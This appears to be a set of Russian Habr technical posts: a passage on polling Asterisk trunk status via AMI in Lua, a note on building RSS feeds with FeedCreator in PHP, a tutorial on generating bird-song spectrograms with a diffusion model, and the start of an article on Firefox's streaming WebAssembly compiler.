exten => \_s-.,1,Congestion
exten => s-,1,Congestion
Через какое-то время мне начали претить такие решения, исходя из соображений их громозкости и увеличения количества резервных каналов у одного из заказчиков, у которого стоял вопрос **во что бы то ни стало дозвониться до клиента**. Оно в общем то и понятно: телефония должна всегда оставаться телефонией, и работать. На то оно и PBX — чтобы автоматизировать работу и избавить от головных болей.
Между делом переводя всех своих подопечных с обычного диалплана на lua было принято решение — воять.
Что ж. У нас под руками отличный рабочий инструмент — целый ЯЗЫК программирования. Который, как и многие его собратья, умеет работать с сетевыми интерфейсами. А это значит что мы можем использовать это свойство на свои блага. Чего бы не посмотреть на состояния транков и уже затем вызвать доступный? Нужно всего то:
1. Подключиться к AMI
2. Получить имена транков
3. Получить их статусы
И так. Первым делом цепляем библиотеку сокетов:
```
local socket = require("socket")
```
Для анализа транков я буду использовать AMI (как уже наверное все догадались исходя из названия). Так как AMI работает по tcp стеку, то его я и опишу:
```
tcp = socket.tcp()
tcp:settimeout(100)
```
Далее я описываю контекст из которого будут вызываться транки и навешиваю на него нужную нам функцию. Скажем… **outgoing\_calls\_external\_dst** По сути эта функция- есть сущность контекста. То есть аналог контекста в extensions.conf (Это я расписывать кодом не буду. Все есть на wiki.asterisk.org)
Здесь я, при получении звонка подключусь к AMI интерфейсу своего asterisk:
```
tcp:connect("127.0.0.1", 5038)
result = tcp:receive()
tcp:send("Action: Login\r\n")
tcp:send("Username: pr\r\n")
tcp:send("Secret: 1\r\n\r\n")
LoginIsOk = 0
while LoginIsOk == 0 do
result=tcp:receive() -- перебираем входящие сообщения пока не встретим сообщение о удачном соединении.
if string.find(result,"Authentication accepted")~=nil then
LoginIsOk = 1
end
if string.find(result,"Response: Error")~=nil then
LoginIsOk = 2
end
end
```
Дальше в общем-то начинается самое интересное. Запрашиваем у ASTERISK все пиры. «Зачем все?» — спросит читатель. «Ведь есть же **SIPshowregistry**!». Да. Есть. Но во-первых он покажет нам только транки с регистрацией, а во-вторых, если провайдер стал недоступен, а время регистрации еще не истекло, то информация о состоянии транка все равно будет невалидной. «Но SIPpeers покажет и клиентов тоже!» — и это будет правильным замечанием. поэтому нужно подготовить транки.
В sip/users/<Куда вы там еще кто складывает свои транки> для каждого транка я:
1. Включил qualify
2. Прописал параметр description = line
То есть иными словами — все что описано как line и есть транк. Почему это важно? потому что SIPpeers вернет нам вот такое описание для каждого пира. Более того — он вернет вам это в том порядке, в котором они прописаны у вас в файле/таблице mysql
Channeltype: SIP
ObjectName: mysupertrunk
ChanObjectType: peer
IPaddress: -none-
IPport: 0
Dynamic: yes
AutoForcerport: no
Forcerport: yes
AutoComedia: no
Comedia: yes
VideoSupport: no
TextSupport: no
ACL: no
Status: UNKNOWN
RealtimeDevice: no
Description: line
В общем то распарсив все что есть из пиров на сервере мы таким образом отлично отделим зерна от плевел и сложим зерна в одну корзину под названием trunks:
```
tcp:send("Action: SIPpeers\r\n\r\n")
while result ~= "EventList: start" do
result = tcp:receive()
end
trunks = {}
i = 1
while result ~= "Event: PeerlistComplete" do
result = tcp:receive()
if string.find(result,"ObjectName")~=nil then
ObjectName = splitted_value(result,": ") --splitted_value - это самописная функция, которая разделяет строку на подстроки и возращает результат
end
if string.find(result,"Description")~=nil then
Description = splitted_value(result,": ")
end
if Description == "line" then
trunks[i] = ObjectName
i = i + 1
Description=nil -- обязательно обнуляем переменную. Иначе попадем в бесконечный цикл.
end
end
```
В общем то теперь у нас есть массив/табличка всех транков на нашем ASTERISK.
осталось только выяснить какой из них доступен и позвонить через него. Сделать это можно через SIPpeerstatus:
```
for key,val in pairs(trunks) do
tcp:send("Action: SIPpeerstatus\r\n")
tcp:send("Peer: "..val.."\r\n\r\n")
while result~="Event: SIPpeerstatusComplete" do
result=tcp:receive()
if string.find(result,"PeerStatus:")~=nil then
status=split(result,": ") --split еще одна самописная функция, которая делит подстроку и возвращает таблицу. Предыдущая функция включает в себя эту
if status[2]=="Reachable" then
app.Dial("SIP/"..val.."/"..extension)
end
end
end
end
```
Ну и не забываем закрыть за собой дверь))
```
tcp:send("Action: Logoff\r\n\r\n")
while result~="Response: Goodbye" do
result=tcp:receive()
end
tcp:close()
```
Это в общем-то самый простой пример того, как можно использовать AMI непосредственно в самом диалплане. Так же ничего не мешает узнавать и занятость каналов. Необходимо будет только распарcить вывод команды sip show inuse. Прикручивается сюда и mysql коннекторы и redis, и все что угодно при необходимости. Без костылей.
P.S. Для ленивых есть целая библиотека ami-lua. Только вот с документацией там… никак. | https://habr.com/ru/post/264819/ | null | ru | null |
# Генерируем RSS
Все знают про RSS и то как это читать и даже [парсить](http://magpierss.sourceforge.net/), но как переделать из html-кода статью в валидный RSS для веб-разработчика может быть проблематично.К типичным проблемам можно отнести присутсвие символов <, >, &. Кроме того сложности с присутсвием тэгов object внутри description приводят к тому что сделать видео объект в rss нельзя. Пробуем [FeedCreator](http://www.bitfolge.de/rsscreator-en.html). Громадина, поддерживает всевозможные ATOM, RSS 0.9-RSS 2.0, OPML, MBOX. Надо вручную менять на UTF8 кодировку, объект хочет сразу создать xml файл. Хорошо, это в принципе разумно, кэширование в один час для блога не критично, для новостных сайтов надо уменьшать до пары минут.`$rss = new UniversalFeedCreator();
$rss->useCached();
$rss->title = "Artjom Kurapov";
$rss->description = "Personal Blog";
$rss->link = "http://kurapov.name/";`Валидатор всё равно ругается на flash (следовательно object не поддерживается). Кроме того не нравятся относительные пути. Конешно можно изменить [WYSIWYG](/article/822/) что-бы он сразу генерировал абсолютные пути, но в случае если надо будет менять домен прийдётся много с базой работать. Поэтому мы их генерируем вместе с RSS.
`$recEntry->description=preg_replace("//i",'',$recEntry->description);
$recEntry->description=str_replace("href='/","href='http://kurapov.name/",$recEntry->description);
$recEntry->description=str_replace('href="/','href="http://kurapov.name/',$recEntry->description);
$recEntry->date = date('r',$item->unix_added);
$rss->addItem($recEntry);
echo $rss->saveFeed("RSS2.0", "feed.xml");`
И в результате
[![[Valid RSS]](https://habrastorage.org/r/w1560/getpro/geektimes/post_images/1db/be8/8af/1dbbe88af84dfe417065c7d05c7fbafb.png "Validate my RSS feed")](http://feedvalidator.org/check.cgi?url=http%3A//kurapov.name/rss) | https://habr.com/ru/post/13064/ | null | ru | null |
# Генерация аудио диффузионной нейросетью. Стоит ли использовать обычную диффузию для генерации мел-спектрограмм?
[](https://habr.com/ru/company/ruvds/blog/708182/)
В уходящем году вы могли видеть множество нейросетей для генерации изображений. Скорее всего, даже ваша бабушка слышала про Stable Diffusion или DALL-E, но эти нейросети объединяет одна очень важная деталь — они основаны на методе обратной диффузии. Этот подход к генерации стал самым популярным в 2022 году. Почему бы не попробовать применить его не для генерации картинок, а для музыки или пения птиц?
В этой статье я расскажу о том, как генерировать аудио с помощью классической диффузионной нейросети, и нюансах этого подхода.
▍ Что такое звук? Мел-спектрограммы
-----------------------------------
Звук — это волновое явление, которое может быть создано механическими колебаниями в воздухе, жидкостях или твёрдых телах. Когда мы слышим звук, наши уши передают сигналы нашему мозгу (подробнее про мозг чуть ниже), который интерпретирует эти сигналы как различные звуки, например голоса, музыку или обычные шумы. На компьютерах звук хранится в виде набора амплитуд, меняющихся тысячи раз в секунду.
Звук в виде набора амплитуд нечасто используют в нейросетях, хоть и для некоторых архитектур это возможно, но в основном используются мел-спектрограммы.
Спектрограммы мела — это графическое представление спектра звука на основе мелового анализа. Преобразование Фурье — это техника, которая используется для определения частотного состава звука. Стоит сказать, что наш слуховой аппарат и есть преобразователь Фурье, и мозг принимает уже не волны, а спектр. В спектрограмме мела время располагается на горизонтальной оси, а частота — на вертикальной. Каждая точка на спектрограмме соответствует определённой частоте звука в определённый момент времени.
Фраза «графическое представление звука» явно наталкивает на возможность использования нейросетей для обработки и генерации изображений для модальности звука. Давайте попробуем использовать диффузию для их генерации!
▍ Диффузионные нейросети
------------------------
Я разбирал работу диффузионных нейросетей в этой [статье](https://habr.com/ru/company/ruvds/blog/689072/), но концепция проста:
> Научите модель восстанавливать зашумлённое изображение, и она сможет генерировать новые из рандомного шума.
Но генерировать мел-спектрограммы не так просто. Диффузионные нейросети требуют очень больших мощностей для работы с картинками большого разрешения, и один из самых простых вариантов — масштабировать картинку спектрограммы из 512 х 512 пикселей в 64 х 64 пикселя, а на выходе преобразовывать обратно посредством отдельной нейросети для апскейла или простым масштабированием.
▍ Идея
------
Идея проста — попробовать применять сжатые спектрограммы для генерации каких-то простых звуков, типа пения птиц.
Мы обучаем диффузионную нейросеть, адаптированную под ЧБ, на мел-спектрограммах и преобразуем их в звук с помощью алгоритма Гриффина-Лима.
Я взял данные с библиотеки звуков BBC, преобразовал в спектрограммы и сжал до 64 пикселей, чтобы диффузионную модель можно было обучить на моей Nvidia RTX 3060, т. к. на больших разрешениях кончалась память. Код диффузии является модификацией [Diffusion-Models-pytorch](https://github.com/dome272/Diffusion-Models-pytorch), которую делал я с OxDEADFACE. Также за помощь спасибо Cene655.
Вот небольшой пайплайн модели:
▍ Подготовка данных
-------------------
1. Нарезка дорожек аудио на отрезки по 5 секунд. Для преобразования звука в спектрограмму нужного размера аудио должны быть строго по 5 секунд каждое.
Для этой задачи мной был написан этот код:
```
import os
input_filename = "/content/bird.mp3"
output_folder = "output"
if not os.path.exists(output_folder):
os.makedirs(output_folder)
command = f"ffmpeg -i {input_filename} -f segment -segment_time 5 {output_folder}/11out%03d.wav"
os.system(command)
```
Вы можете запустить его в моём [блокноте Colab](https://colab.research.google.com/drive/1g9wgBMYrnGtXgnh66jcvwGYNiatHQ9-q?usp=sharing).
2. Преобразование аудиофайлов в спектрограммы
Нейросеть будет работать со спектрограммами, и для создания датасета наши аудиофайлы нужно преобразовать в них. Мы используем код из [Riffusion Manipulation](https://github.com/chavinlo/riffusion-manipulation).
Для этого я сделал вот этот [блокнот colab](https://colab.research.google.com/drive/1-REue4KpDhOMDI-v6gRytMpANoMUqFvi?usp=sharing), в 4-й ячейке есть массовая конвертация всех файлов из заданной папки.
3. Сжатие спектрограмм до 64 х 64 пикселей.
Это можно сделать самым обычным масштабированием, что значительно ускоряет нашу модель.
```
import os
from PIL import Image
# Имя папки с исходными изображениями
input_folder = 'input'
# Имя папки для сжатых изображений
output_folder = 'output'
# Создаём папку для сжатых изображений, если она не существует
if not os.path.exists(output_folder):
os.makedirs(output_folder)
# Перебираем все файлы в папке с исходными изображениями
for file in os.listdir(input_folder):
# Игнорируем файлы, которые не являются изображениями
if not file.endswith('.jpg') and not file.endswith('.png'):
continue
# Открываем изображение
image = Image.open(os.path.join(input_folder, file))
# Сжимаем изображение до размера 64 x 64 пикселей
image = image.resize((64, 64))
# Сохраняем сжатое изображение в папку output
image.save(os.path.join(output_folder, file))
```
Теперь датасет полностью готов к обучению.
▍ Код модели
------------
Сначала мы создаём файл ddpm, где определяем все параметры модели и её обучения.
**Код**
```
import os
import torch
import torch.nn as nn
from matplotlib import pyplot as plt
from tqdm import tqdm
from torch import optim
from utils import *
from modules import UNet
import logging
from torch.utils.tensorboard import SummaryWriter
logging.basicConfig(format="%(asctime)s - %(levelname)s: %(message)s", level=logging.INFO, datefmt="%I:%M:%S")
class Diffusion:
def __init__(self, noise_steps=1000, beta_start=1e-4, beta_end=0.02, img_size=64, device="cuda"):
self.noise_steps = noise_steps
self.beta_start = beta_start
self.beta_end = beta_end
self.img_size = img_size
self.device = device
self.beta = self.prepare_noise_schedule().to(device)
self.alpha = 1. - self.beta
self.alpha_hat = torch.cumprod(self.alpha, dim=0)
def prepare_noise_schedule(self):
return torch.linspace(self.beta_start, self.beta_end, self.noise_steps)
def noise_images(self, x, t):
sqrt_alpha_hat = torch.sqrt(self.alpha_hat[t])[:, None, None, None]
sqrt_one_minus_alpha_hat = torch.sqrt(1 - self.alpha_hat[t])[:, None, None, None]
Ɛ = torch.randn_like(x)
return sqrt_alpha_hat * x + sqrt_one_minus_alpha_hat * Ɛ, Ɛ
def sample_timesteps(self, n):
return torch.randint(low=1, high=self.noise_steps, size=(n,))
def sample(self, model, n):
logging.info(f"Sampling {n} new images....")
model.eval()
with torch.no_grad():
x = torch.randn((n, 1, self.img_size, self.img_size)).to(self.device)
for i in tqdm(reversed(range(1, self.noise_steps)), position=0):
t = (torch.ones(n) * i).long().to(self.device)
predicted_noise = model(x, t)
alpha = self.alpha[t][:, None, None, None]
alpha_hat = self.alpha_hat[t][:, None, None, None]
beta = self.beta[t][:, None, None, None]
if i > 1:
noise = torch.randn_like(x)
else:
noise = torch.zeros_like(x)
x = 1 / torch.sqrt(alpha) * (x - ((1 - alpha) / (torch.sqrt(1 - alpha_hat))) * predicted_noise) + torch.sqrt(beta) * noise
model.train()
x = (x.clamp(-1, 1) + 1) / 2
x = (x * 255).type(torch.uint8)
return x
def train(args):
setup_logging(args.run_name)
device = args.device
dataloader = get_data(args)
model = UNet().to(device)
optimizer = optim.AdamW(model.parameters(), lr=args.lr)
mse = nn.MSELoss()
diffusion = Diffusion(img_size=args.image_size, device=device)
logger = SummaryWriter(os.path.join("runs", ))
l = len(dataloader)
for epoch in range(args.epochs):
logging.info(f"Starting epoch {epoch}:")
pbar = tqdm(dataloader)
for i, (images, _) in enumerate(pbar):
images = images.to(device)
t = diffusion.sample_timesteps(images.shape[0]).to(device)
x_t, noise = diffusion.noise_images(images, t)
predicted_noise = model(x_t, t)
loss = mse(noise, predicted_noise)
optimizer.zero_grad()
loss.backward()
optimizer.step()
pbar.set_postfix(MSE=loss.item())
logger.add_scalar("MSE", loss.item(), global_step=epoch * l + i)
sampled_images = diffusion.sample(model, n=images.shape[0])
save_images(sampled_images, os.path.join("results", args.run_name, f"{epoch}.jpg"))
torch.save(model.state_dict(), os.path.join("models", args.run_name, f"ckpt.pt"))
def launch():
import argparse
parser = argparse.ArgumentParser()
args = parser.parse_args()
args.run_name = "DDPM_Uncondtional"
args.epochs = 500
args.batch_size = 8
args.image_size = 64
args.dataset_path = r"D:\AudioDatasets\Songs64"
args.device = "cuda"
args.lr = 3e-4
train(args)
if __name__ == '__main__':
launch()
```
Далее нам потребуются дополнительные утилиты для загрузки датасета в модель utils.py.
**Код**
```
import os
import torch
import torchvision
from PIL import Image
from matplotlib import pyplot as plt
from torch.utils.data import DataLoader
def plot_images(images):
plt.figure(figsize=(32, 32))
plt.imshow(torch.cat([
torch.cat([i for i in images.cpu()], dim=-1),
], dim=-2).permute(1, 2, 0).cpu())
plt.show()
def save_images(images, path, **kwargs):
grid = torchvision.utils.make_grid(images, **kwargs)
ndarr = grid.permute(1, 2, 0).to('cpu').numpy()
im = Image.fromarray(ndarr)
im.save(path)
def get_data(args):
transforms = torchvision.transforms.Compose([
torchvision.transforms.ToTensor(),
torchvision.transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),
torchvision.transforms.Grayscale(num_output_channels=1)
])
dataset = torchvision.datasets.ImageFolder(args.dataset_path, transform=transforms)
dataloader = DataLoader(dataset, batch_size=args.batch_size, shuffle=True)
return dataloader
def setup_logging(run_name):
os.makedirs("models", exist_ok=True)
os.makedirs("results", exist_ok=True)
os.makedirs(os.path.join("models", run_name), exist_ok=True)
os.makedirs(os.path.join("results", run_name), exist_ok=True)
```
И самым главным является modules.py, где мы задаём Unet.
**Код**
```
import torch
import torch.nn as nn
import torch.nn.functional as F
class EMA:
def __init__(self, beta):
super().__init__()
self.beta = beta
self.step = 0
def update_model_average(self, ma_model, current_model):
for current_params, ma_params in zip(current_model.parameters(), ma_model.parameters()):
old_weight, up_weight = ma_params.data, current_params.data
ma_params.data = self.update_average(old_weight, up_weight)
def update_average(self, old, new):
if old is None:
return new
return old * self.beta + (1 - self.beta) * new
def step_ema(self, ema_model, model, step_start_ema=2000):
if self.step < step_start_ema:
self.reset_parameters(ema_model, model)
self.step += 1
return
self.update_model_average(ema_model, model)
self.step += 1
def reset_parameters(self, ema_model, model):
ema_model.load_state_dict(model.state_dict())
class SelfAttention(nn.Module):
def __init__(self, channels, size):
super(SelfAttention, self).__init__()
self.channels = channels
self.size = size
self.mha = nn.MultiheadAttention(channels, 4, batch_first=True)
self.ln = nn.LayerNorm([channels])
self.ff_self = nn.Sequential(
nn.LayerNorm([channels]),
nn.Linear(channels, channels),
nn.GELU(),
nn.Linear(channels, channels),
)
def forward(self, x):
x = x.view(-1, self.channels, self.size * self.size).swapaxes(1, 2)
x_ln = self.ln(x)
attention_value, _ = self.mha(x_ln, x_ln, x_ln)
attention_value = attention_value + x
attention_value = self.ff_self(attention_value) + attention_value
return attention_value.swapaxes(2, 1).view(-1, self.channels, self.size, self.size)
class DoubleConv(nn.Module):
def __init__(self, in_channels, out_channels, mid_channels=None, residual=False):
super().__init__()
self.residual = residual
if not mid_channels:
mid_channels = out_channels
self.double_conv = nn.Sequential(
nn.Conv2d(in_channels, mid_channels, kernel_size=3, padding=1, bias=False),
nn.GroupNorm(1, mid_channels),
nn.GELU(),
nn.Conv2d(mid_channels, out_channels, kernel_size=3, padding=1, bias=False),
nn.GroupNorm(1, out_channels),
)
def forward(self, x):
if self.residual:
return F.gelu(x + self.double_conv(x))
else:
return self.double_conv(x)
class Down(nn.Module):
def __init__(self, in_channels, out_channels, emb_dim=256):
super().__init__()
self.maxpool_conv = nn.Sequential(
nn.MaxPool2d(2),
DoubleConv(in_channels, in_channels, residual=True),
DoubleConv(in_channels, out_channels),
)
self.emb_layer = nn.Sequential(
nn.SiLU(),
nn.Linear(
emb_dim,
out_channels
),
)
def forward(self, x, t):
x = self.maxpool_conv(x)
emb = self.emb_layer(t)[:, :, None, None].repeat(1, 1, x.shape[-2], x.shape[-1])
return x + emb
class Up(nn.Module):
def __init__(self, in_channels, out_channels, emb_dim=256):
super().__init__()
self.up = nn.Upsample(scale_factor=2, mode="bilinear", align_corners=True)
self.conv = nn.Sequential(
DoubleConv(in_channels, in_channels, residual=True),
DoubleConv(in_channels, out_channels, in_channels // 2),
)
self.emb_layer = nn.Sequential(
nn.SiLU(),
nn.Linear(
emb_dim,
out_channels
),
)
def forward(self, x, skip_x, t):
x = self.up(x)
x = torch.cat([skip_x, x], dim=1)
x = self.conv(x)
emb = self.emb_layer(t)[:, :, None, None].repeat(1, 1, x.shape[-2], x.shape[-1])
return x + emb
class UNet(nn.Module):
def __init__(self, c_in=1, c_out=1, time_dim=256, device="cuda"):
super().__init__()
self.device = device
self.time_dim = time_dim
self.inc = DoubleConv(c_in, 64)
self.down1 = Down(64, 128)
self.sa1 = SelfAttention(128, 32)
self.down2 = Down(128, 256)
self.sa2 = SelfAttention(256, 16)
self.down3 = Down(256, 256)
self.sa3 = SelfAttention(256, 8)
self.bot1 = DoubleConv(256, 512)
self.bot2 = DoubleConv(512, 512)
self.bot3 = DoubleConv(512, 256)
self.up1 = Up(512, 128)
self.sa4 = SelfAttention(128, 16)
self.up2 = Up(256, 64)
self.sa5 = SelfAttention(64, 32)
self.up3 = Up(128, 64)
self.sa6 = SelfAttention(64, 64)
self.outc = nn.Conv2d(64, c_out, kernel_size=1)
def pos_encoding(self, t, channels):
inv_freq = 1.0 / (
10000
** (torch.arange(0, channels, 2, device=self.device).float() / channels)
)
pos_enc_a = torch.sin(t.repeat(1, channels // 2) * inv_freq)
pos_enc_b = torch.cos(t.repeat(1, channels // 2) * inv_freq)
pos_enc = torch.cat([pos_enc_a, pos_enc_b], dim=-1)
return pos_enc
def forward(self, x, t):
t = t.unsqueeze(-1).type(torch.float)
t = self.pos_encoding(t, self.time_dim)
x1 = self.inc(x)
x2 = self.down1(x1, t)
x2 = self.sa1(x2)
x3 = self.down2(x2, t)
x3 = self.sa2(x3)
x4 = self.down3(x3, t)
x4 = self.sa3(x4)
x4 = self.bot1(x4)
x4 = self.bot2(x4)
x4 = self.bot3(x4)
x = self.up1(x4, x3, t)
x = self.sa4(x)
x = self.up2(x, x2, t)
x = self.sa5(x)
x = self.up3(x, x1, t)
x = self.sa6(x)
output = self.outc(x)
return output
class UNet_conditional(nn.Module):
def __init__(self, c_in=1, c_out=1, time_dim=256, num_classes=None, device="cuda"):
super().__init__()
self.device = device
self.time_dim = time_dim
self.inc = DoubleConv(c_in, 64)
self.down1 = Down(64, 128)
self.sa1 = SelfAttention(128, 32)
self.down2 = Down(128, 256)
self.sa2 = SelfAttention(256, 16)
self.down3 = Down(256, 256)
self.sa3 = SelfAttention(256, 8)
self.bot1 = DoubleConv(256, 512)
self.bot2 = DoubleConv(512, 512)
self.bot3 = DoubleConv(512, 256)
self.up1 = Up(512, 128)
self.sa4 = SelfAttention(128, 16)
self.up2 = Up(256, 64)
self.sa5 = SelfAttention(64, 32)
self.up3 = Up(128, 64)
self.sa6 = SelfAttention(64, 64)
self.outc = nn.Conv2d(64, c_out, kernel_size=1)
if num_classes is not None:
self.label_emb = nn.Embedding(num_classes, time_dim)
def pos_encoding(self, t, channels):
inv_freq = 1.0 / (
10000
** (torch.arange(0, channels, 2, device=self.device).float() / channels)
)
pos_enc_a = torch.sin(t.repeat(1, channels // 2) * inv_freq)
pos_enc_b = torch.cos(t.repeat(1, channels // 2) * inv_freq)
pos_enc = torch.cat([pos_enc_a, pos_enc_b], dim=-1)
return pos_enc
def forward(self, x, t, y):
t = t.unsqueeze(-1).type(torch.float)
t = self.pos_encoding(t, self.time_dim)
if y is not None:
t += self.label_emb(y)
x1 = self.inc(x)
x2 = self.down1(x1, t)
x2 = self.sa1(x2)
x3 = self.down2(x2, t)
x3 = self.sa2(x3)
x4 = self.down3(x3, t)
x4 = self.sa3(x4)
x4 = self.bot1(x4)
x4 = self.bot2(x4)
x4 = self.bot3(x4)
x = self.up1(x4, x3, t)
x = self.sa4(x)
x = self.up2(x, x2, t)
x = self.sa5(x)
x = self.up3(x, x1, t)
x = self.sa6(x)
output = self.outc(x)
return output
```
Вот и вся нейросеть. После обучения для инференса можно использовать слегка модифицированный ddpm. inferddpm.
**Код**
```
import os
import torch
import torch.nn as nn
from matplotlib import pyplot as plt
from tqdm import tqdm
from torch import optim
from utils import *
from modules import UNet
import logging
from torch.utils.tensorboard import SummaryWriter
logging.basicConfig(format="%(asctime)s - %(levelname)s: %(message)s", level=logging.INFO, datefmt="%I:%M:%S")
class Diffusion:
def __init__(self, noise_steps=1000, beta_start=1e-4, beta_end=0.02, img_size=64, device="cuda"):
self.noise_steps = noise_steps
self.beta_start = beta_start
self.beta_end = beta_end
self.img_size = img_size
self.device = device
self.beta = self.prepare_noise_schedule().to(device)
self.alpha = 1. - self.beta
self.alpha_hat = torch.cumprod(self.alpha, dim=0)
def prepare_noise_schedule(self):
return torch.linspace(self.beta_start, self.beta_end, self.noise_steps)
def noise_images(self, x, t):
sqrt_alpha_hat = torch.sqrt(self.alpha_hat[t])[:, None, None, None]
sqrt_one_minus_alpha_hat = torch.sqrt(1 - self.alpha_hat[t])[:, None, None, None]
Ɛ = torch.randn_like(x)
return sqrt_alpha_hat * x + sqrt_one_minus_alpha_hat * Ɛ, Ɛ
def sample_timesteps(self, n):
return torch.randint(low=1, high=self.noise_steps, size=(n,))
def sample(self, model, n):
logging.info(f"Sampling {n} new images....")
model.eval()
with torch.no_grad():
x = torch.randn((n, 1, self.img_size, self.img_size)).to(self.device)
for i in tqdm(reversed(range(1, self.noise_steps)), position=0):
t = (torch.ones(n) * i).long().to(self.device)
predicted_noise = model(x, t)
alpha = self.alpha[t][:, None, None, None]
alpha_hat = self.alpha_hat[t][:, None, None, None]
beta = self.beta[t][:, None, None, None]
if i > 1:
noise = torch.randn_like(x)
else:
noise = torch.zeros_like(x)
x = 1 / torch.sqrt(alpha) * (x - ((1 - alpha) / (torch.sqrt(1 - alpha_hat))) * predicted_noise) + torch.sqrt(beta) * noise
model.train()
print(f'{torch.min(x):.2f} {torch.mean(x):.2f} {torch.max(x):.2f} {x.shape}')
# x = (x.clamp(-1, 1) + 1) / 2
print(f'{torch.min(x):.2f} {torch.mean(x):.2f} {torch.max(x):.2f} {x.shape}')
x = -x
# x = x - torch.min(x)
x = x - torch.mean(x)
print(f'{torch.min(x):.2f} {torch.max(x):.2f} {x.shape}')
x = x.clamp(0, torch.inf) / torch.max(x)
print(f'{torch.min(x):.2f} {torch.max(x):.2f} {x.shape}')
x = (x * 255).type(torch.uint8)
print(f'{torch.min(x):.2f} {torch.max(x):.2f} {x.shape}')
return x
def train(args):
setup_logging(args.run_name)
device = args.device
dataloader = get_data(args)
model = UNet().to(device)
optimizer = optim.AdamW(model.parameters(), lr=args.lr)
mse = nn.MSELoss()
diffusion = Diffusion(img_size=args.image_size, device=device)
logger = SummaryWriter(os.path.join("runs", ))
l = len(dataloader)
for epoch in range(args.epochs):
logging.info(f"Starting epoch {epoch}:")
pbar = tqdm(dataloader)
for i, (images, _) in enumerate(pbar):
images = images.to(device)
t = diffusion.sample_timesteps(images.shape[0]).to(device)
x_t, noise = diffusion.noise_images(images, t)
predicted_noise = model(x_t, t)
loss = mse(noise, predicted_noise)
optimizer.zero_grad()
loss.backward()
optimizer.step()
pbar.set_postfix(MSE=loss.item())
logger.add_scalar("MSE", loss.item(), global_step=epoch * l + i)
sampled_images = diffusion.sample(model, n=images.shape[0])
save_images(sampled_images, os.path.join("results", args.run_name, f"{epoch}.jpg"))
torch.save(model.state_dict(), os.path.join("models", args.run_name, f"ckpt.pt"))
def infer(args):
setup_logging(args.run_name)
device = args.device
model = UNet().to(device)
diffusion = Diffusion(img_size=args.image_size, device=device)
checkpoint = torch.load('D:\Python\VS code\Diff\models\DDPM_Uncondtional_bird\ckpt.pt')
model.load_state_dict(checkpoint)
model.eval()
sampled_images = diffusion.sample(model, n=1)
save_images(sampled_images, os.path.join("results", f"tes47t.jpg"))
def launch():
import argparse
parser = argparse.ArgumentParser()
args = parser.parse_args()
args.run_name = "DDPM_Uncondtional"
args.epochs = 500
args.batch_size = 8
args.image_size = 64
args.dataset_path = r"D:\AudioDatasets\Songs64"
args.device = "cuda"
#args.lr = 3e-4
args.lr = 0.00015
infer(args)
if __name__ == '__main__':
launch()
```
Результаты инференса отмасштабировать до 512 х 512 можно так.
**Код**
```
import os
from PIL import Image
# Имя папки с исходными изображениями
input_folder = 'input'
# Имя папки для сжатых изображений
output_folder = 'output'
# Создаём папку для сжатых изображений, если она не существует
if not os.path.exists(output_folder):
os.makedirs(output_folder)
# Перебираем все файлы в папке с исходными изображениями
for file in os.listdir(input_folder):
# Игнорируем файлы, которые не являются изображениями
if not file.endswith('.jpg') and not file.endswith('.png'):
continue
# Открываем изображение
image = Image.open(os.path.join(input_folder, file))
# Сжимаем изображение до размера 512 x 512 пикселей
image = image.resize((512, 512))
# Сохраняем сжатое изображение в папку output
image.save(os.path.join(output_folder, file))
```
Но использование нейросетей для апскейла, подобных Real-ESRGAN, даст менее шумный результат.
Ну и остался один шаг — преобразование сгенерированной мел-спектрограммы в аудиофайл. Код преобразования спектрограммы в аудио находится на последнем блоке в этом [колабе](https://colab.research.google.com/drive/1-REue4KpDhOMDI-v6gRytMpANoMUqFvi?usp=sharing).
▍ Результаты
------------
Модель учится не очень хорошо на таких данных, в будущем нужно будет найти более подходящий для этого метод. Но при достаточном количестве данных и хорошем обучении можно получить неплохие аудиодорожки. Вот [это](https://soundcloud.com/nikuson/bird?si=eff36be56bcf4a2d90e917282cf862de&utm_source=clipboard&utm_medium=text&utm_campaign=social_sharing) сгенерированное пение птицы.
В целом из-за плохой сходимости модели я бы не назвал это лучшим подходом для генерации аудио, но эксперимент и его возможность оказались довольно интересными. Во второй статье по теме я покажу более эффективный способ генерации аудио, теперь уже связанный с латентной диффузией.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Nikuson&utm_content=generaciya_audio_diffuzionnoj_nejrosetyu._stoit_li_ispolzovat_obychnuyu_diffuziyu_dlya_generacii_mel-spektrogramm?) | https://habr.com/ru/post/708182/ | null | ru | null |
# Ещё большее ускорение WebAssembly: новый потоковый и многоуровневый компилятор в Firefox
*Оба авторе: Лин Кларк — разработчик в группе Mozilla Developer Relations. Занимается JavaScript, WebAssembly, Rust и Servo, а также рисует комиксы о коде.*
Люди называют WebAssembly фактором, меняющим правила игры, потому что эта технология ускоряет выполнение кода в вебе. Некоторые из ускорений [уже реализованы](https://hacks.mozilla.org/2017/02/what-makes-webassembly-fast/), а другие появятся позже.
Одна из техник — потоковая компиляция, когда браузер компилирует код во время его загрузки. До настоящего времени эта технология рассматривалась лишь как потенциальный вариант ускорения. Но с выпуском Firefox 58 она станет реальностью.
Firefox 58 также включает в себя двухуровневый компилятор. Новый базовый компилятор компилирует код в 10–15 раз быстрее, чем оптимизирующий компилятор.
Вместе эти два изменения означают, что мы компилируем код быстрее, чем он поступает из сети.
На десктопе мы компилируем 30-60 МБ кода WebAssembly в секунду. Это [быстрее, чем сеть доставляет пакеты](http://www.speedtest.net/global-index).
Если у вас Firefox Nightly или Beta, то [можете опробовать](https://lukewagner.github.io/test-tanks-compile-time/) технологию на собственном устройстве. Даже на средненьком мобильном устройстве компиляция осуществляется на 8 МБ/с — это быстрее, чем скорость скачивания в большинстве мобильных сетей.
Другими словами, выполнение кода начинается сразу по окончании скачивания.
### Почему это важно?
Адвокаты веб-производительности критически относятся к большому количеству JavaScript на сайтах, потому что это сильно замедляет загрузку веб-страниц.
Одна из главных причин такого замедления — время разбора и компиляции. Как [заметил Стив Саудерс](https://calendar.perfplanet.com/2017/tracking-cpu-with-long-tasks-api/), раньше бутылочным горлышком веб-производительности была cеть, а теперь — CPU, а именно основной поток выполнения.
Так что мы хотим вынести как можно больше работы из основного потока. Мы также хотим как можно раньше обеспечить интерактивность страницы, поэтому используем всё время CPU. А лучше вообще уменьшить нагрузку на CPU.
